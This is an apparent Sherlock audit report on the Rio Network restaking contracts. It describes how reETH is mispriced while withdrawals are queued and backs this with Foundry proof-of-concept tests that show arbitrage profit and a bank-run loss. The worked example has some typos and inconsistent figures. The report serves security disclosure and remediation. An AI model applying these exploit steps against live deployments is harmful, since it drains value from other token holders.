Gorgeous Basil Locust

high

# Restaking tokens are not priced correctly when there are withdrawals queued

## Summary

When there are withdrawals queued, the price of the restaking token (reETH) might not reflect its actual value. This can be arbitraged by users by minting reETH at a discount when it is undervalued and redeeming it at a premium when it is overvalued.

## Vulnerability Detail

To understand the vulnerability it is required to understand how the reETH price is calculated in terms of the unit of account (ETH) and how the withdrawals are processed.

### reETH price calculation

As described in the [documentation](https://docs.rio.network/rio-network/liquid-restaking-tokens/restaked-eth-reeth#pricing), "_the share price of reETH is determined by the total amount of ETH held by the vault, deployed to EigenLayer, and the pending rewards as determined by the feeds of oracles divided by the total supply of reETH_". This is implemented in [`RioLRTCoordinator.convertToUnitOfAccountFromRestakingTokens`](https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/main/rio-sherlock-audit/contracts/restaking/RioLRTCoordinator.sol#L175-L183).

The calculation of the TVL is done in [`RioLRTAssetRegistry.getTVL`](https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/main/rio-sherlock-audit/contracts/restaking/RioLRTAssetRegistry.sol#L70-L75) by summing the TVL of all supported assets.

To obtain the TVL of an asset, its [total balance is calculated ](https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/main/rio-sherlock-audit/contracts/restaking/RioLRTAssetRegistry.sol#L80) and then [converted to the unit of account](https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/main/rio-sherlock-audit/contracts/restaking/RioLRTAssetRegistry.sol#L84C16-L84C47) by [multiplying the balance by the oracle price](https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/main/rio-sherlock-audit/contracts/restaking/RioLRTAssetRegistry.sol#L188-L195).

### Withdrawals

The withdrawal starts with the user calling [`RioLRTCoordinator.requestWithdrawal`](https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/main/rio-sherlock-audit/contracts/restaking/RioLRTCoordinator.sol#L99-L116). This function pulls `amountIn` tokens of `asset` from the user and credits him with an equivalent amount of EigenLayer shares.

The withdrawal is processed when [`RioLRTCoordinator.rebalance`](https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/main/rio-sherlock-audit/contracts/restaking/RioLRTCoordinator.sol#L121-L151) is called. This function can be called once every 24 hours and processes all pending withdrawals for a certain asset. It [tries to pull](https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/main/rio-sherlock-audit/contracts/restaking/RioLRTCoordinator.sol#L247-L251) the amount of the `asset` from `RioLRTDepositPool` to cover the pending withdrawals. If this amount is enough, the epoch is settled and the users can claim their tokens. Otherwise, a withdrawal from EigenLayer is queued to cover the difference. This withdrawal can be completed after 7 days.

The relevant part here is that the `reETH` tokens pulled from the users on the withdrawal request are **only burned when the assets for withdrawal are available** in `RioLRTWithdrawalQueue`. This can happen when `RioLRTCoordinator.rebalance` is called and there are enough assets in `RioLRTDepositPool` to cover the withdrawals either [partially](https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/main/rio-sherlock-audit/contracts/restaking/RioLRTWithdrawalQueue.sol#L200) or [completely](https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/main/rio-sherlock-audit/contracts/restaking/RioLRTWithdrawalQueue.sol#L165), or after 7 days [when the withdrawal from EigenLayer is completed](https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/main/rio-sherlock-audit/contracts/restaking/RioLRTWithdrawalQueue.sol#L165).

### Vulnerability

The issue stems from the fact that between the time the user requests a withdrawal and the time the `reETH` tokens are burned, the calculation of the `reETH` price does not reflect its actual value. This is because the TVL of the assets is calculated at current oracle price, while the conversion rate of the assets to be withdrawn in exchange for `reETH` burned is calculated at the time of the withdrawal request. Let's illustrate this with an example:

1. Alice deposits 1 cbETH (current price 1 ETH) and receives 1 reETH.

2. Bob deposits 1 rETH (current price 1 ETH) and receives 1 reETH.
    
    `rETH price = (1 cbETH * 1 ETH/cbETH + 1 rETH * 1 ETH/rETH) / 2 reETH = 1 ETH`

3. Alice requests to withdraw her reETH in cbETH.

4. Assuming a 1:1 conversion rate for cbETH to EigenLayer shares, Alice is owed 1 share, equivalent to 1 cbETH.

5. The cbETH price drops to 0.5 ETH.

    `reETH price = (1 cbETH * 0.5 ETH/cbETH + 1 rETH * 1 ETH/rETH) / 2 reETH = 0.75 ETH`

5. Charlie realizes that the current reETH price is not accounting for the fact that Alice has queued a withdrawal and 1 rETH will be burned in exchange for 1 cbETH and she will absorb the reduction in the TVL by incurring a loss of 0.5 ETH. So the real real price of reETH should be:

    `reETH price = (1 rETH * 1 ETH/rETH) / 1 reETH = 1 ETH`

6. Charlie deposits 15 rETH just before rebalance is called and receives 20 reETH.

    `output reETH = (15 rETH * 1 ETH/rETH) / 0.75 ETH/reETH = 20 reETH`

    `rETH price = (1 cbETH * 0.5 ETH/cbETH + 16 rETH * 1 ETH/rETH) / 22 reETH = 0.75 ETH`

7. Rebalance is called, so 1 reETH is burned and 1 cbETH is available for Alice to withdraw.

    `rETH price = (16 rETH * 1 ETH/rETH) / 21 reETH = 0.7619 ETH`

    `Bob's position = 1 rETH * 0.762 ETH/reETH = 0.7619 ETH`

    `Charlie's position = 20 rETH * 0.762 ETH/reETH = 15.238 ETH`

8. The arbitrager has managed to make a profit of 0.238 ETH by buying rETH at a discount. This profit is made at the expense of diluting the value of the rest of the reETH holders. In this case, Bob's 1 rETH is now worth 0.762 ETH.

The opposite can also happen. If the price of an asset increases after a withdrawal request, `reETH` price will be overvalued, which will lead to `reETH` holders queuing withdrawals to take advantage of the price divergence, while there will not be enough assets to cover the withdrawals.

While it is not likely to have price changes as drastic as in the example (just used for simplicity), it is yet likely to have episodes of high volatility in LST tokens, as was the case in May 2022 with the stETH price, that registered changes of 5% in a single day.

## Impact

The price of `reETH` can be arbitraged by users when there are withdrawals queued. This can lead to a dilution of the value of the rest of the `reETH` holders and a massive redemption of `reETH` tokens that can lead to a run on the bank.

## Code Snippet

https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/main/rio-sherlock-audit/contracts/restaking/RioLRTCoordinator.sol#L175-L183

## Proof of concept

<details>

<summary>Setup</summary>

- Add this util function in `test/utils/MockPriceFeed.sol`:

```solidity
    function setPrice(uint256 price) external {
        _price = price;
    }
```

- Add the following code in `test/RioLRTCoordinator.t.sol`:

```diff
+ import {MockPriceFeed} from 'test/utils/MockPriceFeed.sol';
+ import "forge-std/console2.sol";

  contract RioLRTCoordinatorTest is RioDeployer {
      TestLRTDeployment public reETH;
      TestLRTDeployment public reLST;
    
+     address alice = makeAddr("alice");
+     address bob = makeAddr("bob");
+     address charlie = makeAddr("charlie");
+     MockPriceFeed cbEthPriceFeed;
+     MockPriceFeed rEthPriceFeed;

      function setUp() public {
```

- Add the code snippets of the tests below to the contract `RioLRTCoordinatorTest`.

</details>

<details>

<summary>Test arbitrage</summary>

```solidity
function test_arbitrage() public {
    uint256 cbEthAmount = 10e18;
    uint256 rEthAmount = 10e18;
    uint256 initialREthBalanceCharlie = rETH.balanceOf(charlie);

    // 1. Alice and Bob deposit each the equivalent of 10 ETH in LSTs
    vm.startPrank(alice);
    cbETH.approve(address(reLST.coordinator), cbEthAmount);
    uint256 reEthAlice = reLST.coordinator.deposit(CBETH_ADDRESS, cbEthAmount);
    console2.log("Alice receives reETH:   %s", reEthAlice);
    vm.stopPrank();

    vm.startPrank(bob);
    rETH.approve(address(reLST.coordinator), rEthAmount);
    uint256 reEthBob = reLST.coordinator.deposit(RETH_ADDRESS, rEthAmount);
    console2.log("Bob receives reETH:     %s", reEthBob);
    vm.stopPrank();

    // 2. Alice requests withdrawal of half her reETH in cbETH
    vm.prank(alice);
    reLST.coordinator.requestWithdrawal(CBETH_ADDRESS, reEthAlice / 2);

    // 3. cbETH price decreases
    cbEthPriceFeed.setPrice(0.5e18);
    console2.log("reETH price before:     %s", reLST.coordinator.convertToUnitOfAccountFromRestakingTokens(1e18));

    // 4. Charlie arbitrages the discrepancy between reETH price and its real value
    vm.startPrank(charlie);
    rETH.approve(address(reLST.coordinator), rEthAmount);
    uint256 reEthCharlie = reLST.coordinator.deposit(RETH_ADDRESS, 10e18);
    console2.log("Charlie receives reETH: %s", reEthCharlie);
    vm.stopPrank();

    // 5. Rebalance cbETH happens and Alice's withdrawal is processed, which increases the price of reETH,
    //    reflecting now the real value of the asset
    vm.prank(EOA, EOA);
    reLST.coordinator.rebalance(CBETH_ADDRESS);
    console2.log("reETH price after:      %s", reLST.coordinator.convertToUnitOfAccountFromRestakingTokens(1e18));

    // 6. Charlie requests withdrawal of all his reETH in rETH
    vm.prank(charlie);
    reLST.coordinator.requestWithdrawal(RETH_ADDRESS, reEthCharlie);

    // 7. Rebalance rETH happens and Charlie's withdrawal is processed
    vm.prank(EOA, EOA);
    reLST.coordinator.rebalance(RETH_ADDRESS);

    // 8. Charlie claims his withdrawal
    vm.prank(charlie);
    reLST.withdrawalQueue.claimWithdrawalsForEpoch(
        IRioLRTWithdrawalQueue.ClaimRequest({asset: RETH_ADDRESS, epoch: 0})
    );
    uint256 finalREthBalanceCharlie = rETH.balanceOf(charlie);

    console2.log("Charlie's profit rETH:  %s", finalREthBalanceCharlie - initialREthBalanceCharlie);
}
```

Console output:

```js
$ forge test --mt test_arbitrage -vv

Ran 1 test for test/RioLRTCoordinator.t.sol:RioLRTCoordinatorTest
[PASS] test_arbitrage() (gas: 1512529)
Logs:
  Alice receives reETH:   10961000000000000000
  Bob receives reETH:     10961000000000000000
  reETH price before:     684358122006417646
  Charlie receives reETH: 14612232511658894070
  reETH price after:      724616838455263337
  Charlie profit rETH:    588269725371479696

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 17.32ms
```

</details>

<details>

<summary>Test run on the bank</summary>

```solidity
function test_runOnTheBank() public {
    uint256 cbEthAmount = 10e18;
    uint256 rEthAmount = 10e18;
    uint256 initialREthBalanceBob = rETH.balanceOf(bob);
    uint256 initialREthBalanceCharlie = rETH.balanceOf(charlie);

    // 1. Alice, Bob and Charlie deposit each the equivalent of 10 ETH in LSTs
    vm.startPrank(alice);
    cbETH.approve(address(reLST.coordinator), cbEthAmount);
    uint256 reEthAlice = reLST.coordinator.deposit(CBETH_ADDRESS, cbEthAmount);
    vm.stopPrank();
    console2.log("Alice receives reETH:   %s", reEthAlice);

    vm.startPrank(bob);
    rETH.approve(address(reLST.coordinator), rEthAmount);
    uint256 reEthBob = reLST.coordinator.deposit(RETH_ADDRESS, rEthAmount);
    vm.stopPrank();
    console2.log("Bob receives reETH:     %s", reEthBob);

    vm.startPrank(charlie);
    rETH.approve(address(reLST.coordinator), rEthAmount);
    uint256 reEthCharlie = reLST.coordinator.deposit(RETH_ADDRESS, rEthAmount);
    vm.stopPrank();
    console2.log("Charlie receives reETH: %s", reEthCharlie);

    // 2. cbETH price decreases
    cbEthPriceFeed.setPrice(0.5e18);

    // 3. Alice requests withdrawal of half her reETH in cbETH
    vm.prank(alice);
    reLST.coordinator.requestWithdrawal(CBETH_ADDRESS, reEthAlice / 2);

    // 4. cbETH price recovers
    cbEthPriceFeed.setPrice(1e18);
    console2.log("reETH price before:     %s", reLST.coordinator.convertToUnitOfAccountFromRestakingTokens(1e18));

    // 5. Charlie realizes the reETH price is overvalued and requests withdraw for all his reETH
    //    in rETH before Alice's withdrawal is processed
    vm.prank(charlie);
    reLST.coordinator.requestWithdrawal(RETH_ADDRESS, reEthCharlie);

    // 6. Rebalance cbETH happens and Alice withdrawal is processed, which increases the price of reETH,
    //    reflecting now the real value of the asset
    vm.prank(EOA, EOA);
    reLST.coordinator.rebalance(CBETH_ADDRESS);
    console2.log("reETH price after:      %s", reLST.coordinator.convertToUnitOfAccountFromRestakingTokens(1e18));

    // 7. Bob requests withdrawal of all his reETH in rETH after Alice's withdrawal is processed
    vm.prank(bob);
    reLST.coordinator.requestWithdrawal(RETH_ADDRESS, reEthBob);

    // 8. Rebalance rETH happens and Bob's and Charlie's withdrawals are processed
    vm.prank(EOA, EOA);
    reLST.coordinator.rebalance(RETH_ADDRESS);

    // 9. Bob and Charlie claim their withdrawals
    vm.prank(bob);
    reLST.withdrawalQueue.claimWithdrawalsForEpoch(
        IRioLRTWithdrawalQueue.ClaimRequest({asset: RETH_ADDRESS, epoch: 0})
    );
    vm.prank(charlie);
    reLST.withdrawalQueue.claimWithdrawalsForEpoch(
        IRioLRTWithdrawalQueue.ClaimRequest({asset: RETH_ADDRESS, epoch: 0})
    );

    uint256 finalREthBalanceBob = rETH.balanceOf(bob);
    uint256 finalREthBalanceCharlie = rETH.balanceOf(charlie);

    console2.log("Bob loss rETH:          %s", initialREthBalanceBob - finalREthBalanceBob);
    console2.log("Charlie loss rETH:      %s", initialREthBalanceCharlie - finalREthBalanceCharlie);
}
```

Console output:

```js
$ forge test --mt test_runOnTheBank -vv

Ran 1 test for test/RioLRTCoordinator.t.sol:RioLRTCoordinatorTest
[PASS] test_runOnTheBank() (gas: 1584021)
Logs:
  Alice receives reETH:   10961000000000000000
  Bob receives reETH:     10961000000000000000
  Charlie receives reETH: 10961000000000000000
  reETH price before:     912325517744731320
  reETH price after:      790710494243488207
  Bob loss rETH:          1333022272597125761
  Charlie loss rETH:      0

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 19.06ms
```

</details>

## Tool used

Manual Review

## Recommendation

Adjust the calculation of the reETH exchange rate not taking into account the assets and restaking tokens that are queued for withdrawal.
